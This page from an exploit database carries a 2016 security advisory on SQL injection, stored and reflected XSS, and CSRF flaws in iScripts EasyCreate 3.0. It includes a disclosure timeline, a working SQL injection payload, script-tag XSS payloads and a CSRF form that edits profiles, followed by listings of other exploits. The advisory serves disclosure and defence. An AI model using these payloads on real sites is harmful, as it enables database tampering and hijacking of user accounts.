Menu

Search for hundreds of thousands of exploits

"iScripts EasyCreate 3.0 - Multiple Vulnerabilities"

Author

Exploit author

"Bikramaditya Guha"

Platform

Exploit platform

php

Release date

Exploit published date

2016-02-01

Download file

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
iScripts EasyCreate 3.0 Multiple Vulnerabilities


[Vendor Product Description]

- iScripts EasyCreate is a private label online website builder. This software allows you to start an 
online business by offering website building services to your customers. Equipped with drag and drop 
design functionality, crisp templates and social sharing capabilities, this online website builder 
software will allow you to provide the best website building features to your users. 


- Site: http://www.iscripts.com


[Advisory Timeline]

[17.11.2015] First contact to vendor.
[08.12.2015] Follow up with vendor. No response received.
[08.12.2015] Ticket Created using online portal (id #010248399110346).
[08.12.2015] Ticket closed by vendor without requesting vulnerability details.
[28.12.2015] Vendor responds asking more details.
[29.12.2015] Sent details to the vendor.
[05.01.2016] Follow up with vendor. No response received.
[14.01.2016] Follow up with vendor. No response received.
[28.01.2016] Public Security advisory released.


[Bug Summary]

- SQL Injection

- Cross Site Scripting (Stored)

- Cross Site Scripting (Reflected)

- Cross Site Request Forgery


[Impact]

- High


[Affected Version]

- EasyCreate 3.0


[Advisory]

- ZSL-2016-5298
- http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5298.php


[Bug Description and Proof of Concept]

1. Cross-Site Request Forgery (CSRF) - The application allows users to perform certain actions via HTTP requests 
without performing any validity checks to verify the requests. This can be exploited to perform certain actions 
with administrative privileges if a logged-in user visits a malicious web site
https://en.wikipedia.org/wiki/Cross-site_request_forgery

2. Cross Site Scripting (XSS) - Multiple cross-site scripting vulnerabilities were also discovered. The issue is 
triggered when input passed via multiple parameters is not properly sanitized before being returned to the user. 
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.
https://en.wikipedia.org/wiki/Cross-site_scripting

3. SQL Injection - iScripts EasyCreate suffers from a SQL Injection vulnerability. Input passed via a GET 
parameter is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited 
to manipulate SQL queries by injecting arbitrary SQL code.
https://en.wikipedia.org/wiki/SQL_injection



[Proof-of-Concept]

1. SQL Injection

Parameter:
siteid (GET)

Payload:
action=editsite&siteid=6 AND (SELECT 3405 FROM(SELECT COUNT(*),CONCAT(0x71716b6a71,(SELECT (ELT(3405=3405,1))),0x71627a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2. Multiple Stored Cross Site Scripting

Parameter:
siteName (POST)

Payload:
Content-Disposition: form-data; name="siteName"

<script>alert(1)</script>

Parameter:
selectedimage (POST)

Payload: 
selectedimage=<script>alert(1)</script>

Parameter: 
filename (POST)

Payload:
filename=<script>alert(1)</script>

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
3. Multiple Reflected Cross Site Scripting

Parameter
catid (GET)

Parameters
selectedimage, description, keywords, robotans, refreshans, authorans, copyrightans, revisitans, cmbSearchType (POST)

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
4. Multiple Cross Site Request Forgery (CSRF)

Sample Payload for editing profile:

<html>
  <body>
    <form action="http://localhost/easycreate/demo/editprofile.php?act=post" method="POST">
      <input type="hidden" name="vuser&#95;login" value="user" />
      <input type="hidden" name="vuser&#95;name" value="Demo&#32;User" />
      <input type="hidden" name="vuser&#95;lastname" value="PWNED" />
      <input type="hidden" name="vuser&#95;email" value="demo&#64;demo&#46;com" />
      <input type="hidden" name="vuser&#95;address1" value="a" />
      <input type="hidden" name="vcity" value="" />
      <input type="hidden" name="vstate" value="" />
      <input type="hidden" name="vcountry" value="United&#32;States" />
      <input type="hidden" name="vzip" value="" />
      <input type="hidden" name="vuser&#95;phone" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

All flaws described here were discovered and researched by:

Bikramaditya Guha aka "PhoenixX"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Simple College Website 1.0 - 'page' Local File Inclusion" webapps php Mosaaed
2020-12-02 "WordPress Plugin Wp-FileManager 6.8 - RCE" webapps php "Mansoor R"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover" webapps php "Mufaddal Masalawala"
2020-12-02 "WonderCMS 3.1.3 - 'Menu' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-12-02 "Car Rental Management System 1.0 - SQL Injection / Local File include" webapps php Mosaaed
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution" webapps php zetc0de
2020-12-02 "WonderCMS 3.1.3 - Authenticated Remote Code Execution" webapps php zetc0de
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
2020-12-01 "Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS" webapps php yunaranyancat
Release Date Title Type Platform Author
2016-07-06 "Advanced Webhost Billing System (AWBS) 2.9.6 - Multiple Vulnerabilities" webapps php "Bikramaditya Guha"
2016-07-04 "eCardMAX 10.5 - Multiple Vulnerabilities" webapps php "Bikramaditya Guha"
2016-06-27 "iBilling 3.7.0 - Persistent Cross-Site Scripting / Reflected Cross-Site Scripting" webapps php "Bikramaditya Guha"
2016-05-26 "EduSec 4.2.5 - SQL Injection" webapps php "Bikramaditya Guha"
2016-05-26 "Real Estate Portal 4.1 - Multiple Vulnerabilities" webapps php "Bikramaditya Guha"
2016-05-23 "WordPress Plugin Job Script by Scubez - Remote Code Execution" webapps php "Bikramaditya Guha"
2016-05-09 "ZeewaysCMS - Multiple Vulnerabilities" webapps php "Bikramaditya Guha"
2016-02-01 "iScripts EasyCreate 3.0 - Remote Code Execution" webapps php "Bikramaditya Guha"
2016-02-01 "iScripts EasyCreate 3.0 - Multiple Vulnerabilities" webapps php "Bikramaditya Guha"
2016-01-14 "Manage Engine Application Manager 12.5 - Arbitrary Command Execution" webapps multiple "Bikramaditya Guha"
2016-01-14 "Manage Engine Applications Manager 12 - Multiple Vulnerabilities" webapps multiple "Bikramaditya Guha"
2015-10-23 "Joomla! Component Realtyna RPL 8.9.2 - Persistent Cross-Site Scripting / Cross-Site Request Forgery" webapps php "Bikramaditya Guha"
2015-10-23 "Joomla! Component Realtyna RPL 8.9.2 - Multiple SQL Injections" webapps php "Bikramaditya Guha" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected